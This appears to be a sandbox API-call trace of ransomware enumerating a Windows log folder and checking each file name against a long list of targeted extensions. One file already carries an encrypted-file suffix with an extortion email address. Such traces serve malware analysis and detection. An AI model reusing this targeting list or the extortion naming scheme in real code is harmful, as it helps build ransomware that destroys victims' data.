ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0156.909] FindNextFileW (in: hFindFile=0x484218, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0156.909] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0156.909] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0156.909] lstrlenW (lpString="Logs") returned 4 [0156.909] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0156.909] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x38a1450 [0156.910] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0156.910] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484258 [0156.913] FindNextFileW (in: hFindFile=0x484258, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.913] FindNextFileW (in: hFindFile=0x484258, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37848b9e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37848b9e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37895095, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DOWNLE~1.NEW")) returned 1 [0156.913] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 81 [0156.913] lstrlenW (lpString=".1cd") returned 4 [0156.913] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".3ds") returned 4 [0156.913] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".3fr") returned 4 [0156.913] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".3g2") returned 4 [0156.913] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".3gp") returned 4 [0156.913] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".7z") returned 3 [0156.913] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0156.913] lstrlenW (lpString=".accda") returned 6 [0156.913] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".accdb") returned 6 [0156.913] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".accdc") returned 6 [0156.913] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".accde") returned 6 [0156.913] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".accdt") returned 6 [0156.913] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".accdw") returned 6 [0156.913] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0156.913] lstrlenW (lpString=".adb") returned 4 [0156.913] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".adp") returned 4 [0156.913] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0156.913] lstrlenW (lpString=".ai") returned 3 [0156.914] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0156.914] lstrlenW (lpString=".ai3") returned 4 [0156.914] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ai4") returned 4 [0156.914] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ai5") returned 4 [0156.914] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ai6") returned 4 [0156.914] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ai7") returned 4 [0156.914] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ai8") returned 4 [0156.914] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".anim") returned 5 [0156.914] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0156.914] lstrlenW (lpString=".arw") returned 4 [0156.914] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".as") returned 3 [0156.914] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0156.914] lstrlenW (lpString=".asa") returned 4 [0156.914] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".asc") returned 4 [0156.914] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".ascx") returned 5 [0156.914] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0156.914] lstrlenW (lpString=".asm") returned 4 [0156.914] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".asmx") returned 5 [0156.914] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0156.914] lstrlenW (lpString=".asp") returned 4 [0156.914] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".aspx") returned 5 [0156.914] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0156.914] lstrlenW (lpString=".asr") returned 4 [0156.914] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".asx") returned 4 [0156.914] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0156.914] lstrlenW (lpString=".avi") returned 4 [0156.915] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".avs") returned 4 [0156.915] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".backup") returned 7 [0156.915] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0156.915] lstrlenW (lpString=".bak") returned 4 [0156.915] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".bay") returned 4 [0156.915] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".bd") returned 3 [0156.915] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0156.915] lstrlenW (lpString=".bin") returned 4 [0156.915] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".bmp") returned 4 [0156.915] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".bz2") returned 4 [0156.915] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".c") returned 2 [0156.915] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0156.915] lstrlenW (lpString=".cdr") returned 4 [0156.915] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".cer") returned 4 [0156.915] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".cf") returned 3 [0156.915] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0156.915] lstrlenW (lpString=".cfc") returned 4 [0156.915] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".cfm") returned 4 [0156.915] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".cfml") returned 5 [0156.915] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0156.915] lstrlenW (lpString=".cfu") returned 4 [0156.915] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".chm") returned 4 [0156.915] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".cin") returned 4 [0156.915] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0156.915] lstrlenW (lpString=".class") returned 6 [0156.916] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0156.916] lstrlenW (lpString=".clx") returned 4 [0156.916] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".config") returned 7 [0156.916] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0156.916] lstrlenW (lpString=".cpp") returned 4 [0156.916] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".cr2") returned 4 [0156.916] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".crt") returned 4 [0156.916] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".crw") returned 4 [0156.916] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".cs") returned 3 [0156.916] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0156.916] lstrlenW (lpString=".css") returned 4 [0156.916] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".csv") returned 4 [0156.916] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".cub") returned 4 [0156.916] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dae") returned 4 [0156.916] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dat") returned 4 [0156.916] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".db") returned 3 [0156.916] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0156.916] lstrlenW (lpString=".dbf") returned 4 [0156.916] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dbx") returned 4 [0156.916] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dc3") returned 4 [0156.916] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dcm") returned 4 [0156.916] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0156.916] lstrlenW (lpString=".dcr") returned 4 [0156.916] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".der") returned 4 [0156.917] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".dib") returned 4 [0156.917] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".dic") returned 4 [0156.917] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".dif") returned 4 [0156.917] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".divx") returned 5 [0156.917] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0156.917] lstrlenW (lpString=".djvu") returned 5 [0156.917] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0156.917] lstrlenW (lpString=".dng") returned 4 [0156.917] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".doc") returned 4 [0156.917] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0156.917] lstrlenW (lpString=".docm") returned 5 [0156.917] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0156.917] lstrlenW (lpString=".docx") returned 5 [0156.917] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0156.918] lstrlenW (lpString=".dot") returned 4 [0156.918] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dotm") returned 5 [0156.918] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0156.918] lstrlenW (lpString=".dotx") returned 5 [0156.918] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0156.918] lstrlenW (lpString=".dpx") returned 4 [0156.918] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dqy") returned 4 [0156.918] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dsn") returned 4 [0156.918] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dt") returned 3 [0156.918] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0156.918] lstrlenW (lpString=".dtd") returned 4 [0156.918] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dwg") returned 4 [0156.918] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dwt") returned 4 [0156.918] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".dx") returned 3 [0156.918] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0156.918] lstrlenW (lpString=".dxf") returned 4 [0156.918] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".edml") returned 5 [0156.918] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0156.918] lstrlenW (lpString=".efd") returned 4 [0156.918] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".elf") returned 4 [0156.918] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".emf") returned 4 [0156.918] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".emz") returned 4 [0156.918] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".epf") returned 4 [0156.918] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0156.918] lstrlenW (lpString=".eps") returned 4 [0156.918] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".epsf") returned 5 [0156.919] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0156.919] lstrlenW (lpString=".epsp") returned 5 [0156.919] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0156.919] lstrlenW (lpString=".erf") returned 4 [0156.919] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".exr") returned 4 [0156.919] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".f4v") returned 4 [0156.919] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".fido") returned 5 [0156.919] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0156.919] lstrlenW (lpString=".flm") returned 4 [0156.919] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".flv") returned 4 [0156.919] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".frm") returned 4 [0156.919] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".fxg") returned 4 [0156.919] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".geo") returned 4 [0156.919] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".gif") returned 4 [0156.919] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".grs") returned 4 [0156.919] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".gz") returned 3 [0156.919] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0156.919] lstrlenW (lpString=".h") returned 2 [0156.919] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0156.919] lstrlenW (lpString=".hdr") returned 4 [0156.919] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0156.919] lstrlenW (lpString=".hpp") returned 4 [0156.919] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".hta") returned 4 [0156.920] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".htc") returned 4 [0156.920] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".htm") returned 4 [0156.920] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".html") returned 5 [0156.920] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0156.920] lstrlenW (lpString=".icb") returned 4 [0156.920] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".ics") returned 4 [0156.920] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".iff") returned 4 [0156.920] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".inc") returned 4 [0156.920] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".indd") returned 5 [0156.920] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0156.920] lstrlenW (lpString=".ini") returned 4 [0156.920] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".iqy") returned 4 [0156.920] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".j2c") returned 4 [0156.920] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".j2k") returned 4 [0156.920] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".java") returned 5 [0156.920] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0156.920] lstrlenW (lpString=".jp2") returned 4 [0156.920] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".jpc") returned 4 [0156.920] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".jpe") returned 4 [0156.920] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0156.920] lstrlenW (lpString=".jpeg") returned 5 [0156.920] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0156.920] lstrlenW (lpString=".jpf") returned 4 [0156.920] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".jpg") returned 4 [0156.921] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".jpx") returned 4 [0156.921] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".js") returned 3 [0156.921] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0156.921] lstrlenW (lpString=".jsf") returned 4 [0156.921] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".json") returned 5 [0156.921] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0156.921] lstrlenW (lpString=".jsp") returned 4 [0156.921] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".kdc") returned 4 [0156.921] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".kmz") returned 4 [0156.921] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".kwm") returned 4 [0156.921] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".lasso") returned 6 [0156.921] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0156.921] lstrlenW (lpString=".lbi") returned 4 [0156.921] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".lgf") returned 4 [0156.921] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".lgp") returned 4 [0156.921] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".log") returned 4 [0156.921] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".m1v") returned 4 [0156.921] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".m4a") returned 4 [0156.921] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".m4v") returned 4 [0156.921] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".max") returned 4 [0156.921] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0156.921] lstrlenW (lpString=".md") returned 3 [0156.921] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0156.922] lstrlenW (lpString=".mda") returned 4 [0156.922] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mdb") returned 4 [0156.922] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mde") returned 4 [0156.922] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mdf") returned 4 [0156.922] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mdw") returned 4 [0156.922] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mef") returned 4 [0156.922] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mft") returned 4 [0156.922] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mfw") returned 4 [0156.922] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mht") returned 4 [0156.922] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mhtml") returned 6 [0156.922] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0156.922] lstrlenW (lpString=".mka") returned 4 [0156.922] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mkidx") returned 6 [0156.922] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0156.922] lstrlenW (lpString=".mkv") returned 4 [0156.922] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mos") returned 4 [0156.922] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mov") returned 4 [0156.922] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mp3") returned 4 [0156.922] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mp4") returned 4 [0156.922] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0156.922] lstrlenW (lpString=".mpeg") returned 5 [0156.922] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0156.922] lstrlenW (lpString=".mpg") returned 4 [0156.923] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".mpv") returned 4 [0156.923] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".mrw") returned 4 [0156.923] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".msg") returned 4 [0156.923] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".mxl") returned 4 [0156.923] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".myd") returned 4 [0156.923] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".myi") returned 4 [0156.923] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".nef") returned 4 [0156.923] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".nrw") returned 4 [0156.923] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".obj") returned 4 [0156.923] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".odb") returned 4 [0156.923] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".odc") returned 4 [0156.923] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".odm") returned 4 [0156.923] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".odp") returned 4 [0156.923] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".ods") returned 4 [0156.923] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".oft") returned 4 [0156.923] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".one") returned 4 [0156.923] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0156.923] lstrlenW (lpString=".onepkg") returned 7 [0156.923] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0156.923] lstrlenW (lpString=".onetoc2") returned 8 [0156.923] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0156.923] lstrlenW (lpString=".opt") returned 4 [0156.924] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".oqy") returned 4 [0156.924] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".orf") returned 4 [0156.924] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".p12") returned 4 [0156.924] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".p7b") returned 4 [0156.924] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".p7c") returned 4 [0156.924] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pam") returned 4 [0156.924] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pbm") returned 4 [0156.924] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 